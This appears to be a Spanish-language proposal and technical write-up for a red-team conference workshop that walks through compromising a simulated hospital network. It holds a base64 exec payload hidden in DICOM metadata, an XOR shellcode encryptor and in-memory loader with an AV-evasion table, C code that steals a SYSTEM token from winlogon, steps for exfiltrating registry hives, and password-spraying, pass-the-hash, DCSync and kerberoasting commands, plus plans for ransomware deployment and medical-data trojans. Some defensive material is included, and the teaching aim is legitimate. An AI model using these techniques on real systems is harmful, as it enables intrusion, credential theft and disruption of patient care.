# PAPER VILLA HAD

Documentación completa de un ataque Red Team a infraestructura hospitalaria: desde la explotación de un archivo DICOM malicioso en un mastógrafo, pasando por reverse shell en estación médica Windows, escalación a SYSTEM, para después realizar un volcado de credenciales LSASS, hasta el compromiso total de Active Directory mediante una cadena de 7 fases de abuso de ACLs (WriteDACL → AddMember → GenericWrite → DCSync). Cada fase documentada en formato profesional de 4 partes: explicación técnica, lógica del ataque, remediación y ejercicio práctico. Resultado final: Control total del dominio hospitalario desde un archivo de imagen médica y que la audiencia sea capaz de detectar, proteger y replicar toda la parte ofensiva ya que se compartirá todo el código desde.

Expositores:

**Post Explotación**

Hector Espino: https://www.linkedin.com/in/hector-espino-431140164/

Adonai Diaz: https://www.linkedin.com/in/carlos-adonai-diaz-esparza-ab1272286/

**Evasión de defensas**

Diego Hernandez: https://www.linkedin.com/in/diego-hernandez-253649210/

**Active Directory (Todos participan)**

Erick Sanchez: https://www.linkedin.com/in/erick-s%C3%A1nchez-vera-4b78011b4/

**Explotación de equipo médico**

Arnold Morales: https://www.linkedin.com/in/arnoldm19/

## ¿Porque APT Village?

El objetivo de esta villa es presentar en sus distintas fases la cadena de compromiso de un hospital. Donde por cada fase se dará una sesión que aportará no sólo conceptos teóricos, sino también una fase lógica de un atacante incluyendo demos y laboratorios que permitan a los asistentes poner en práctica los conocimientos adquiridos y ampliar su perspectiva al momento de realizar pruebas de penetración.

La visión general que tenemos de esta villa es mostrar, tanto a las personas que van iniciando como a los que ya tienen experiencia en este ámbito, el pensamiento lógico y de razonamiento que tiene un APT normalmente en el mundo real y poder compartir técnicas que comúnmente no se encuentran fácilmente en un curso o taller de internet, por lo que creemos que esto aporta significativamente a las habilidades de las personas que asistan a esta villa.

La dinámica que se tendrá con los participantes, además de mostrar las técnicas y procedimientos avanzados, será a través de preguntas y regalos (playeras, stickers, parches, etc), que podrán ganarse mientras respondan estas preguntas, también daremos la oportunidad a que los participantes prueben cada una de las técnicas que vamos viendo y que nos pregunten dudas, hagan modificaciones, o planteen escenarios alternativos con los que podremos ir dando retroalimentación.

Ademas de enfocarnos en mostrar como se realiza un compromiso de la infraestructura se mostrara ataques post compromiso y acciones sobre el objetivo: Posterior al compromiso de la organización, se presentarán las acciones que un APT puede realizar para: el secuestro de la información e infraestructura del hospital, establecimiento de persistencia y espionaje a largo plazo.

Secuestro de información e Infraestructura:

- Métodos de secuestro de equipos mediante herramientas legítimas de administración.
- Despliegue masivo de políticas para el cifrado de discos y eliminación de accesos legítimos.
- Abuso de tecnologías de despliegue de software para implantar ransomware.
- Persistencia.
- Backdooring del firmware de sistemas perimetrales y OT.
- Técnicas de persistencia en active directory.
- Técnicas de opsec para el forjado de diferentes tipos de tickets.
- Alteración de cuentas legítimas mediante Shadow credentials.
- Creación de objetos del tipo computadora y persistencia mediante permisos de delegación.
- Espionaje a largo plazo.

- Desarrollo de troyanos y servidores para la recolección de información.
- Enfocado en el robo de credenciales e información médica.
- Técnicas de OPSEC y mejores prácticas para realizar exfiltración periódica.

Es importante destacar que los asistentes podrán elegir libremente a que sesión asistirá (la agenda es representativa tanto como nombres y horarios, esto por motivo de organización del evento). Aunque todas las fases están interconectadas dentro del mismo hilo narrativo, ninguna sesión depende de otra, por lo que cada participante podrá incorporarse en la sesión que más le interese sin requerir de lo visto previamente. Todos los laboratorios serán guiados y se entregará un manual para que los asistentes puedan repasar posteriormente lo realizado en las fases que no pudieron atender.

Se contará con una infraestructura virtualizada, desarrollada por nosotros. El nivel objetivo de la villa es intermedio/avanzado, pero nos enfocaremos en ofrecer facilidades tanto para asistentes con experiencia avanzada como para quienes se encuentren iniciando.

Finalmente, el escenario será lo más realista posible, basado en experiencias laborales de los ponentes y orientado completamente a la red team, buscando que cada participante se lleve no solo teoría, sino prácticas y metodologías aplicables a operaciones reales.

Para la operatividad de esta villa se requiere un proyector o pantalla con conector HDMI preferentemente y un espacio físico de al menos 3 metros por 3 metros para la presentación de charlas. Adicionalmente, se requieren al menos 1 mesa y una conexión eléctrica de 110V AC de al menos 15 A para la exhibición de material interactivo (uso para las presentaciones) así mismo se requiere al menos dos extensiones eléctricas para la conexión de equipo que pueda ser mostrado durante el día.

La Agenda se encuentra al final, los expositores se dividirán por temas y en ataque de AD el objetivo principal es mostrar a la audiencia no solo los ataques, si no el pensamiento lógico y la manera en que se debe enfocar al momento de tener pentests fuera de lo común con tecnologías nuevas o desconocidas buscando afectar lógica de negocio pero sobre todo transmitir este pensamiento técnico, todos participarán para la resolución de dudas o explicación a la audiencia esto con la finalidad de compartir conocimientos de manera concreta.

## Documentación Técnica

### Esteganografía en Metadatos de imágenes medicas

El análisis técnico sobre la explotación de vulnerabilidades en el protocolo DICOM (Digital Imaging and Communications in Medicine), ampliamente utilizado en sistemas de imagenología médica. La investigación demuestra cómo un atacante puede aprovechar la complejidad estructural de los archivos DICOM para insertar código malicioso mediante técnicas de esteganografía en campos de metadatos, logrando ejecución remota de código (RCE) en sistemas médicos vulnerables. Se documenta la metodología completa de explotación, desde la creación de archivos DICOM maliciosos hasta la obtención de acceso inicial en equipos mastógrafos, además de proporcionar recomendaciones técnicas para la mitigación de estos vectores de ataque.

### Introducción

Los sistemas de información hospitalaria representan objetivos críticos en el panorama actual de ciberseguridad. La creciente digitalización de servicios médicos, combinada con sistemas heredados y protocolos diseñados sin consideraciones modernas de seguridad, ha creado una superficie de ataque significativa en infraestructuras sanitarias.

El protocolo DICOM, estandarizado por NEMA (National Electrical Manufacturers Association), fue diseñado en la década de 1980 para facilitar la interoperabilidad de dispositivos de imagenología médica. Sin embargo, su arquitectura no contempló los paradigmas modernos de seguridad, dejando múltiples vectores de ataque sin protección adecuada.

### Objetivos:

Los objetivos principales de este trabajo son:

- Demostrar la factibilidad de explotación del protocolo DICOM mediante técnicas de esteganografía en metadatos.
- Documentar metodología completa de creación y despliegue de payloads maliciosos en archivos DICOM.
- Analizar las implicaciones de seguridad en sistemas médicos vulnerables.

- Proporcionar contramedidas técnicas para mitigación de riesgos identificados.

**Alcance:**

Esta investigación se enfocó en:

- Análisis de la estructura interna de archivos DICOM y sus campos manipulables.
- Desarrollo de herramientas proof-of-concept para generación de archivos maliciosos.
- Pruebas en entorno controlado simulando infraestructura hospitalaria.
- Evaluación de vectores de persistencia y movimiento lateral post-explotación.

**Teoría**:

Arquitectura estándar:

DICOM define tanto el formato de archivo como los protocolos de comunicación para transmisión de imágenes médicas. La estructura de un archivo DICOM consta de:

- Preámbulo: 128 bytes iniciales (generalmente NULL).
- Prefijo DICOM: 4 bytes conteniendo "DICM".
- Meta-información: Elementos que describen el dataset (Transfer Syntax, SOP Class).
- Dataset principal: Elementos de datos organizados en grupos y tags.
-

**Elementos de datos y tags:**

Cada elemento DICOM se identifica mediante un tag compuesto por dos números hexadecimales de 16 bits (Grupo, Elemento). El campo ImagePositionPatient (0020,0032) utilizado en esta investigación, normalmente almacena las coordenadas X, Y, Z de la esquina superior izquierda de la imagen en el espacio del paciente.

| Tag DICOM | Nombre | VR Tipo |
|---|---|---|
| (0020,0032) | ImagePositionPatient | DS (Decimal String) |
| (0010,0010) | PatientName | PN (Person Name) |
| (0008,0060) | Modality | CS (Code String) |

**Esteganografía en Metadatos:**

La esteganografía en metadatos explota la permisividad de formatos de archivo complejos para ocultar información maliciosa. A diferencia de la esteganografía tradicional en datos de imagen, esta técnica aprovecha campos diseñados para almacenar información administrativa que raramente son inspeccionados por herramientas de seguridad convencionales.

**Ventajas**

- Evasión de firmas: Los sistemas EDR típicamente no analizan metadatos DICOM en profundidad.
- Persistencia estructural: El payload sobrevive operaciones de visualización y transferencia.
- Legitimidad aparente: Los archivos DICOM modificados mantienen validez estructural.
- Vector confiable: Archivos médicos típicamente eluden filtros de contenido estrictos.

**Explotación y explicación de metodología:**

El proceso de explotación se dividió en cuatro fases principales, siguiendo metodologías estándar de pentesting y desarrollo de exploits. Cada fase fue documentada exhaustivamente para garantizar reproducibilidad.

Los detalles de la explotación se encuentran aquí:

https://github.com/MrR0b0t19/radiografihack

**Resumen:**

Una técnica de seguridad ofensiva que **oculta código ejecutable** dentro de los metadatos de imágenes médicas DICOM (formato usado en radiografías, tomografías, etc.).

**Funcionamiento:**

**1. Explotación del formato:**

- Los archivos DICOM tienen miles de campos de metadatos.
- Campos como ImagePositionPatient (coordenadas 3D) aceptan texto libre.
- Se inserta código malicioso codificado en Base64 en estos campos.

**2. Proceso de ataque:**

Código Python - Base64 - Campo DICOM - Sistema vulnerable lee el archivo - Ejecuta el código

**3. Por qué funciona:**

- Sistemas obsoletos procesan metadatos de forma insegura.
- Usan funciones peligrosas como eval() o exec() sobre datos no confiables.
- La codificación Base64 evade detección básica.

**Ejemplo simplificado**

**Campo normal:** ['0', '0', '0'] (coordenadas)
**Campo malicioso:** ['0', '0', '0', 'exec(__import__("base64").b64decode(b"Y29kaWdvX21hbGljaW9zbw=="))']

**Siguientes pasos:**

**Robo de datos médicos** de pacientes

- **Modificación de diagnósticos.**
- **Instalación de malware** en sistemas hospitalarios.
- Explotación de infraestructura crítica de salud.

**Prevención:**

- Cierre de vulnerabilidades puntual con base en cadenas de ataque.
- Configuración de detección y prevención.
- Explicación técnica de tratamiento lógico.

**Explotación exitosa:**

La prueba de concepto demostró acceso inicial exitoso al equipo mastógrafo. Los resultados obtenidos fueron:

- Ejecución remota de código: Confirmada mediante reverse shell Python en puerto 4444/TCP.
- Privilegios obtenidos: Usuario 'dicomserver' con permisos del grupo 'medical'.

**Evasión de defensa y escalación de privilegios:**

La técnica implementada explota las limitaciones inherentes de los sistemas de detección basados en firmas estáticas, utilizando un enfoque de **ejecución fileless** combinado con criptografía simétrica de bajo nivel.

**Componentes:**

- **Generador de Shellcode**: Frameworks como Sliver o conversión PE-to-shellcode mediante Donut.
- **Motor de Encriptación**: Algoritmo XOR con clave estática.
- **Loader Personalizado**: Ejecutable en C que maneja desencriptación y ejecución en memoria.

implementación de XOR

```
# Módulo de encriptación
ENCRYPTION_KEY = 0x30

def encrypt_payload(input_file: str, output_file: str) -> None:
    """
    Encripta payload binario utilizando operación XOR byte-a-byte.

    Args:
        input_file: Ruta del shellcode original
        output_file: Ruta del payload encriptado
    """
    with open(input_file, "rb") as f:
        shellcode = bytearray(f.read())

    encrypted = bytearray(b ^ ENCRYPTION_KEY for b in shellcode)

    with open(output_file, "wb") as f:
        f.write(encrypted)
```

Loader en memoria:

**Características técnicas:**

- Asignación dinámica de memoria con permisos de ejecución (VirtualAlloc).
- Desencriptación runtime para evitar detección estática.
- Transferencia de flujo de ejecución mediante casting de punteros a función.

**Proceso de compilación:**

```
x86_64-w64-mingw32-gcc loader.c -o notmalware.exe -static
```

**Flags de compilación recomendadas:**

- -static: Vinculación estática para reducir dependencias.
- -O2: Optimización para ofuscación del código objeto.
- -s: Eliminación de símbolos de depuración.

Lógica de ejecución:

```
 [Shellcode Original]
   ↓ (Python)
[Payload Encriptado .enc]
   ↓ (Loader C)
[Memoria Ejecutable] → VirtualAlloc(PAGE_EXECUTE_READWRITE)
   ↓
[Desencriptación XOR en Runtime]
   ↓
[Transferencia de Ejecución] → ((void(*)())exec)()
```

**Logros cumplidos:**

| Mecanismo de Defensa | Estado de Evasión | Justificación Técnica |
|---|---|---|
| Firmas estáticas (AV tradicional) | Evadido | Payload encriptado no coincide con signatures conocidas |
| Análisis heurístico básico | Evadido | Sin patrones de API sospechosas en binario |
| Sandboxing básico | Evadido | Ejecución directa sin detonadores temporales |
| AMSI (PowerShell/Script) | N/A | No aplica para ejecutables nativos |

**Escalación de privilegio**

Windows implementa un modelo de seguridad basado en **Access Tokens**, que contienen los identificadores de seguridad (SIDs) y privilegios del usuario. La técnica presentada explota la capacidad del privilegio SeDebugPrivilege para acceder a objetos de seguridad de procesos privilegiados.

**2.2 Justificación de la Elección de SeDebugPrivilege**

**¿Por qué SeDebugPrivilege y no otros privilegios?**

| Privilegio | Capacidad | Limitaciones para Escalación |
|---|---|---|
| **SeBackupPrivilege** | Lectura de archivos protegidos | Requiere exfiltración + análisis offline; no otorga ejecución directa |

| | | |
|---|---|---|
| **SeRestorePrivilege** | Escritura de archivos del sistema | Necesita reinicio o espera de carga; no es inmediato |
| **SeLoadDriverPrivilege** | Carga de drivers | Requiere firma de drivers o modo Test; alta visibilidad en logs |
| **SeImpersonatePrivilege** | Impersonación de clientes | Requiere conexión entrante; dependiente de servicios activos |
| **SeDebugPrivilege** | **Acceso a memoria de procesos** | **Acceso directo a tokens SYSTEM; ejecución inmediata; mínima interacción** |

**Ventajas específicas:**

1. **Inmediatez**: No requiere reinicios ni esperas.
2. **Bajo ruido operacional**: Operaciones nativas del sistema.
3. **Alta disponibilidad**: Comúnmente asignado a grupos de Administradores.
4. **Versatilidad**: Acceso a cualquier proceso en el sistema.

**Fases de la Explotación:**

```
[Fase 1] Habilitación de Privilegios
   ↓
[Fase 2] Enumeración de Procesos Objetivo
   ↓
[Fase 3] Obtención de Handle de Proceso
   ↓
[Fase 4] Extracción de Token Primario
   ↓
[Fase 5] Duplicación de Token
   ↓
[Fase 6] Creación de Proceso Elevado
```

Elevación de privilegio

```
BOOL SetPrivilege(LPCTSTR lpszPrivilege) {
   TOKEN_PRIVILEGES tp = {0};
   HANDLE hCurrentProcessToken;
   LUID luid;

   if (!OpenProcessToken(GetCurrentProcess(),
                         TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
                         &hCurrentProcessToken)) {
      return FALSE;
```

```
    }

    if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) {
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    return AdjustTokenPrivileges(hCurrentProcessToken, FALSE, &tp,
                                 sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
```

Enumeración de procesos

**Objetivo:** winlogon.exe

**Justificación:**

- Ejecuta bajo la cuenta **NT AUTHORITY\SYSTEM.**
- Siempre activo en sistemas Windows.
- Token contiene privilegios máximos del sistema.
- Proceso estable y predecible.

```
int FindProcess(const char *procname) {
    HANDLE hProcSnap;
    PROCESSENTRY32 pe32;
    int pid = 0;

    hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hProcSnap, &pe32)) {
        CloseHandle(hProcSnap);
        return 0;
    }

    while (Process32Next(hProcSnap, &pe32)) {
        if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
            pid = pe32.th32ProcessID;
            break;
        }
    }
```

```
    CloseHandle(hProcSnap);
    return pid;
}
```

**Manipulación de Tokens**

**API Windows utilizadas:**

1. OpenProcess(PROCESS_ALL_ACCESS, ...): Obtiene handle completo al proceso objetivo
2. OpenProcessToken(TOKEN_DUPLICATE, ...): Extrae el access token del proceso
3. DuplicateTokenEx(TOKEN_ALL_ACCESS, ...): Crea copia del token con nivel de impersonación
4. CreateProcessWithTokenW(LOGON_WITH_PROFILE, ...): Spawn proceso con token duplicado

**Análisis de memoria**

```
PVOID GetHandleAddress(int ProcessId, USHORT hObject) {
    ULONG returnLenght = 0;
    PSYSTEM_HANDLE_INFORMATION handleTableInformation =
        (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
                                              HEAP_ZERO_MEMORY,
                                              SystemHandleInformationSize);

    NtQuerySystemInformation(SystemHandleInformation,
                             handleTableInformation,
                             SystemHandleInformationSize,
                             &returnLenght);

    for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo =
            handleTableInformation->Handles[i];

        if (handleInfo.UniqueProcessId == ProcessId &&
            handleInfo.HandleValue == hObject) {
            printf("[+] Access Token handle 0x%x at 0x%p\n",
                   handleInfo.HandleValue, handleInfo.Object);
            return handleInfo.Object;
        }
    }
    return 0;
}
```

**Propósito técnico:**

- Utiliza API no documentada NtQuerySystemInformation con clase SystemHandleInformation (0x10).
- Mapea handles del kernel a direcciones de memoria física.
- Útil para análisis forense y depuración avanzada.

Defensa (Se busca explicar por qué sucedió, pero sobre todo como detectar y que sucede).

**Firmas actualizadas**: Trivialmente evadibles con polimorfismo.
**Heurística básica**: Fácil de ofuscar con técnicas de programación.

**Endpoint Detection and Response (EDR)**

- **Implementación**: Monitoreo de comportamiento en tiempo real
- **Detección**: Patrones de VirtualAlloc + PAGE_EXECUTE_READWRITE + memcpy + ejecución
- **Productos recomendados**: CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne

**Control Flow Guard (CFG) y Arbitrary Code Guard (ACG)**

```
// Habilitar CFG en compilación
cl /guard:cf loader.c

// ACG mediante Process Mitigation Policy
SetProcessMitigationPolicy(ProcessDynamicCodePolicy, ...)
```

**Memory Integrity (HVCI - Hypervisor-Protected Code Integrity)**

- Previene modificación de páginas ejecutables
- Requiere hardware con virtualización

**Configuración empresarial:**

```
# Habilitar HVCI en toda la organización
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
            -Name "EnableVirtualizationBasedSecurity" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
            -Name "RequirePlatformSecurityFeatures" -Value 3
```

**Configuración de Group Policy:**

Computer Configuration
→ Windows Settings
→ Security Settings
→ Local Policies
→ User Rights Assignment
→ Debug programs: [VACÍO o solo grupos específicos]

**Auditoría de asignación:**

```
# Verificar quién tiene SeDebugPrivilege
whoami /priv | findstr SeDebugPrivilege

# Auditoría empresarial
Get-ADUser -Filter * -Properties * |
  Where-Object {$_.userRights -like "*SeDebugPrivilege*"}
```

**Protección de procesos críticos:**

```
// Marca winlogon.exe como Protected Process
// Implementado a nivel de kernel en Windows 8.1+
PROCESS_MITIGATION_PROTECTION_LEVEL_INFORMATION protectionInfo;
protectionInfo.ProtectionLevel = PROTECTION_LEVEL_WINTCB_LIGHT;
```

**Resultado**: Incluso con SeDebugPrivilege, no se puede abrir handle a procesos PPL.

Busqueda Sysmon

**Configuración XML:**

```
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Detectar acceso a procesos SYSTEM -->
    <ProcessAccess onmatch="include">
      <TargetImage
condition="is">C:\Windows\System32\winlogon.exe</TargetImage>
      <GrantedAccess condition="is">0x1F0FFF</GrantedAccess> <!--
PROCESS_ALL_ACCESS -->
    </ProcessAccess>

    <!-- Detectar duplicación de tokens -->
    <ProcessAccess onmatch="include">
      <CallTrace condition="contains">DuplicateTokenEx</CallTrace>
    </ProcessAccess>
  </EventFiltering>
</Sysmon>
```

**Event IDs relevantes:**

- **Event ID 10**: Process Access (OpenProcess sobre winlogon)
- **Event ID 1**: Process Creation (cmd.exe con SYSTEM)

**Habilitar LSA Protection**

```
# Habilitar LSA Protection
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
            -Name "RunAsPPL" -Value 1 -PropertyType DWORD

# Requiere reinicio
Restart-Computer -Force
```

**Efecto**: LSASS.exe corre como Protected Process, previniendo dumping de credenciales.

| Vector de Ataque | Mitigación Primaria | Mitigación Secundaria | Efectividad |
|---|---|---|---|
| **Shellcode XOR en memoria** | EDR con behavioral analysis | HVCI + ACG | 95% |
| **VirtualAlloc ejecutable** | Memory Integrity | CFG/ACG | 90% |
| **SeDebugPrivilege abuse** | Revocar privilegio | PPL para procesos críticos | 99% |
| **Token duplication** | Sysmon Event ID 10 | LSA Protection | 85% |

Toda la información de encuentra aquí: https://github.com/MrR0b0t19/APT-V!114

El objetivo de este tema es que la audiencia sea capaz de identificar métodos de escalación de privilegios sin activar ninguna defensa, con búsquedas manuales, pero además de esto, explicar la mejor toma de decisiones para la evasión de defensas.

**Movimiento Lateral**

Para el movimiento lateral necesitamos hacer un dump del proceso LSASS.exe sin recurrir a técnicas comúnmente conocidas y detectadas por AV/EDR, para esto, podemos obtener la boot key, exporta los hives SAM y SECURITY desde la interfaz gráfica de la aplicación “Editor de registro”, convertirlos a un formato procesable para secretsdump y exfiltrar los resultados de la exportación del registro, así como la boot key. Como ya tenemos todo el material necesario, podemos descifrar los secretos en una computadora propia. Esto nos permite evitar ejecutar operaciones criptográficas en el sistema objetivo, reduciendo así las probabilidades de detección.

**¿Por qué esta técnica funciona?**

La mayoría de las veces, los atacantes suben binarios que realizan muchas acciones. Por ejemplo, cuando ejecutas Mimikatz para extraer el proceso LSASS, Mimikatz hará lo siguiente:

- Activa SeDebugPrivilege.
- Busca el PID de LSASS.
- Abre un handle al proceso LSASS.
- Lee el contenido de su memoria.
- Lo guarda en un archivo de volcado o lo imprime en la consola.

Todas estas acciones usan funciones de la WinAPI, que son exactamente las cosas que los antivirus y los EDR están vigilando.

El hecho de que un binario simple ejecute todas estas acciones en rápida sucesión (como mimikatz) es un buen indicador de que algo no anda bien con ese binario. Una manera de evitar que estas herramientas de seguridad te bloqueen es des correlacionar tus acciones. Eso significa que, en lugar de tener una sola herramienta que haga todas las tareas, divide cada paso en tareas simples y que parezcan legitimas.

## AD ENTERPRISE

Este documento detalla una cadena de ataque avanzada en entornos de Active Directory, demostrando cómo un atacante puede escalar desde un compromiso inicial de endpoint hasta la extracción completa de la base de datos de credenciales del dominio (NTDS.dit). La metodología presentada sigue la matriz MITRE ATT&CK para entornos empresariales y representa un escenario real de amenaza persistente avanzada (APT).

**Fase inicial:**

El proceso **Local Security Authority Subsystem Service (LSASS)** es responsable de la autenticación en sistemas Windows y mantiene en memoria:

- Hashes NTLM de usuarios autenticados.
- Contraseñas en texto claro (cuando Credential Guard está deshabilitado).
- Tickets Kerberos (TGT/TGS).
- Tokens de seguridad de sesiones activas.

Extracción más conocida para explicación sobre estas:

1. Abrir Task Manager (taskmgr.exe)
2. Localizar "Local Security Authority Process"
3. Click derecho → Create dump file
4. Archivo generado: C:\Users\[user]\AppData\Local\Temp\lsass.DMP

**Limitaciones**: Requiere privilegios administrativos, genera alertas en EDR. (ejemplo para que la audiencia no familiarizada lo comprenda)

Una vez explicado y que la audiencia este en contexto procedemos con

**Password Spraying / NTLM Hash Spraying**

A diferencia del **brute-force** (múltiples contraseñas contra un usuario), el **password spraying** prueba una credencial válida contra múltiples objetivos para identificar su alcance de reutilización.

**Enumeración de objetos**

**Identificación de hosts del dominio:**

```
# Usando credenciales comprometidas
net view /domain:CORP
Get-ADComputer -Filter * | Select-Object Name,IPv4Address
```

**Identificación de usuarios:**

```
# Enumeración SMB sin autenticación (si está habilitado)
nxc smb 192.168.1.0/24 --users

# Con credenciales válidas
Get-ADUser -Filter * -Properties SamAccountName | Select-Object SamAccountName
```

2.3 Ejecución del Spray Attack

2.3.1 Password Spray (Texto Claro)

```
# nxc - Password Spray
nxc smb targets.txt -u jdoe -p 'Summer2024!' --continue-on-success

nxc smb 192.168.1.0/24 -u jdoe -p 'Summer2024!' --shares
```

PtH pass the hash

```
# Usar hash directamente sin conocer la contraseña
nxc smb 192.168.1.0/24 -u jdoe -H 64f12cddaa88057e06a81b54e73b949b

# Spray contra múltiples servicios
nxc smb 192.168.1.10 -u jdoe -H 64f12cddaa88057e06a81b54e73b949b
nxc winrm 192.168.1.10 -u jdoe -H 64f12cddaa88057e06a81b54e73b949b
nxc mssql 192.168.1.10 -u jdoe -H 64f12cddaa88057e06a81b54e73b949b
```

**Resultado esperado:**

```
SMB    192.168.1.10    445    WS01    [+] CORP\jdoe:Summer2024! (Pwn3d!)
SMB    192.168.1.15    445    WS02    [+] CORP\jdoe:Summer2024!
SMB    192.168.1.20    445    SRV01   [+] CORP\jdoe:Summer2024! (Pwn3d!)
WINRM  192.168.1.20    5985   SRV01   [+] CORP\jdoe:Summer2024! (Pwn3d!)
```

**Indicador "(Pwn3d!)"**: Usuario tiene privilegios administrativos locales en ese sistema.

2.4 Verificación de Validez en el Dominio

```
# Validar credenciales contra el Domain Controller
nxc smb dc01.corp.local -u jdoe -p 'Summer2024!' -d CORP

# Obtener información del dominio
nxc smb dc01.corp.local -u jdoe -p 'Summer2024!' --users –groups
```

**Bloodhound**

**Componentes:**

- **SharpHound/AzureHound**: Colector de información de AD

- **Neo4j**: Base de datos de grafos
- **BloodHound GUI**: Interfaz de visualización y análisis

```
# Descarga y ejecución
.\SharpHound.exe -c All -d corp.local --domaincontroller dc01.corp.local

# Autenticación explícita
.\SharpHound.exe -c All -d corp.local --LdapUsername jdoe --LdapPassword 'Summer2024!'

# Métodos de colección específicos
.\SharpHound.exe -c DCOnly       # Solo información del DC
.\SharpHound.exe -c Session      # Solo sesiones activas
.\SharpHound.exe -c LoggedOn     # Usuarios logueados
.\SharpHound.exe -c Group        # Membresías de grupos
.\SharpHound.exe -c ACL          # Listas de control de acceso
```

3.2.2 BloodHound.py (Desde Linux)

```
# Instalación
pip install bloodhound

# Colección usando contraseña
bloodhound-python -u jdoe -p 'Summer2024!' -d corp.local -ns 192.168.1.5 -c All

# Colección usando Pass-the-Hash
bloodhound-python -u jdoe --hashes :64f12cddaa88057e06a81b54e73b949b \
                -d corp.local -ns 192.168.1.5 -c All
```

**Salida generada:**

```
INFO: Found AD domain: corp.local
INFO: Connecting to LDAP server: dc01.corp.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.corp.local
INFO: Found 25 users
INFO: Found 50 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Done in 00M 45S
```

**Archivos generados:**

```
20251207093045_users.json
20251207093045_groups.json
```

20251207093045_computers.json
20251207093045_containers.json
20251207093045_domains.json

Este ejemplo en bloodhound es el practico y el más detectable donde se encuentran EDRs bien configurados, pero es el primer acercamiento para que la audiencia comprenda a bajo nivel los pasos, se realizara la explicación de técnicas de evasión.

**Importar datos a BloodHound:**

```
# Iniciar Neo4j
sudo neo4j console

# Iniciar BloodHound
./BloodHound --no-sandbox

# Importar archivos JSON
# Upload Data → Seleccionar todos los .json generados
```

**Consultas pre-construidas críticas:**

1. **Shortest Path to Domain Admins from Owned Principals**
2. MATCH (m:User {owned:true}), (n:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}),
3. p=shortestPath((m)-[*1..]->(n)) RETURN p
4. **Shortest Path to High Value Targets**
5. MATCH (m:User {owned:true}), (n {highvalue:true}),
6. p=shortestPath((m)-[*1..]->(n)) RETURN p
7. **Kerberoastable Users with Path to DA**
8. MATCH (u:User {hasspn:true}), (g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}),
9. p=shortestPath((u)-[*1..]->(g)) RETURN p

**Mejores rutas de análisis**

Se explicará cada función de comando y porque se logra utilizar Bloodhound, pero sobre todo el que hacer cuando bloodhound no esté disponible.

**Ruta identificada:**

```
JDOE@CORP.LOCAL
   ↓ [WriteDacl]
ADMIN_USER@CORP.LOCAL
   ↓ [MemberOf]
BACKUP_OPERATORS@CORP.LOCAL
   ↓ [AddMember]
```

IT_ADMINS@CORP.LOCAL
↓ [GenericWrite]
SRV01.CORP.LOCAL
↓ [DCSync]
CORP.LOCAL (Domain)

**Interpretación**:

- jdoe tiene **WriteDacl** sobre admin_user.
- admin_user pertenece al grupo **Backup Operators.**
- Ese grupo puede añadir miembros a **IT_Admins.**
- **IT_Admins** tiene **GenericWrite** sobre el servidor **SRV01.**
- **SRV01** tiene derechos de **DCSync** sobre el dominio.

**Contexto en DACL:**

**Access Control List (ACL)** define quién puede realizar qué acciones sobre un objeto de AD. Los **Access Control Entries (ACE)** individuales especifican permisos granulares.

**Permisos críticos:**

| Permiso | Descripción | Explotación |
|---|---|---|
| GenericAll | Control total sobre el objeto | Resetear contraseña, modificar membresías |
| GenericWrite | Escribir propiedades no protegidas | Modificar SPN (Kerberoasting), ScriptPath |
| WriteDacl | Modificar ACL del objeto | Otorgarse GenericAll a sí mismo |
| WriteOwner | Cambiar propietario del objeto | Tomar ownership → otorgarse permisos |
| ForceChangePassword | Resetear contraseña sin conocer la actual | Acceso inmediato a la cuenta |

**Explotación:**

**Escenario**:

JDOE@CORP.LOCAL tiene **WriteDacl** sobre ADMIN_USER@CORP.LOCAL

```
# Importar PowerView
Import-Module .\PowerView.ps1

# Verificar ACL actual
Get-DomainObjectAcl -Identity admin_user -ResolveGUIDs |
    Where-Object {$_.SecurityIdentifier -match "jdoe"}
```

```
# Otorgarse GenericAll sobre admin_user
Add-DomainObjectAcl -TargetIdentity admin_user -PrincipalIdentity jdoe `
                -Rights All -Verbose

# Ahora resetear la contraseña
$SecPassword = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity admin_user -AccountPassword $SecPassword
```

4.2.2 Método 2: Impacket (Linux)

```
# Otorgar DCSync rights (ejemplo de WriteDacl)
python3 dacledit.py -action 'write' -rights 'DCSync' \
      -principal jdoe -target-dn 'DC=corp,DC=local' \
      corp.local/jdoe:'Summer2024!'
```

4.3 Explotación: GenericWrite (Targeted Kerberoasting)

**Si solo tiene GenericWrite (no puede resetear contraseña directamente):**

```
# Añadir SPN falso al usuario objetivo
Set-DomainObject -Identity admin_user -Set
@{serviceprincipalname='fake/service'}

# Solicitar TGS para ese SPN
.\Rubeus.exe kerberoast /user:admin_user /nowrap

# Resultado: Hash Kerberos 5 TGS-REP tipo 23
$krb5tgs$23$*admin_user$CORP.LOCAL$fake/service*$A1B2C3D4...

# Crackear offline
hashcat -m 13100 admin_user.hash rockyou.txt --force
john --wordlist=rockyou.txt admin_user.hash
```

**Resultado**: Contraseña de admin_user crackeada: P@ssw0rd2024

El paper en todas las opciones se presentará más de una opción y de un escenario para usar esto, el motivo es porque la audiencia tiene que comprender que no solo se puede realizar de una única manera

**DACL 2**

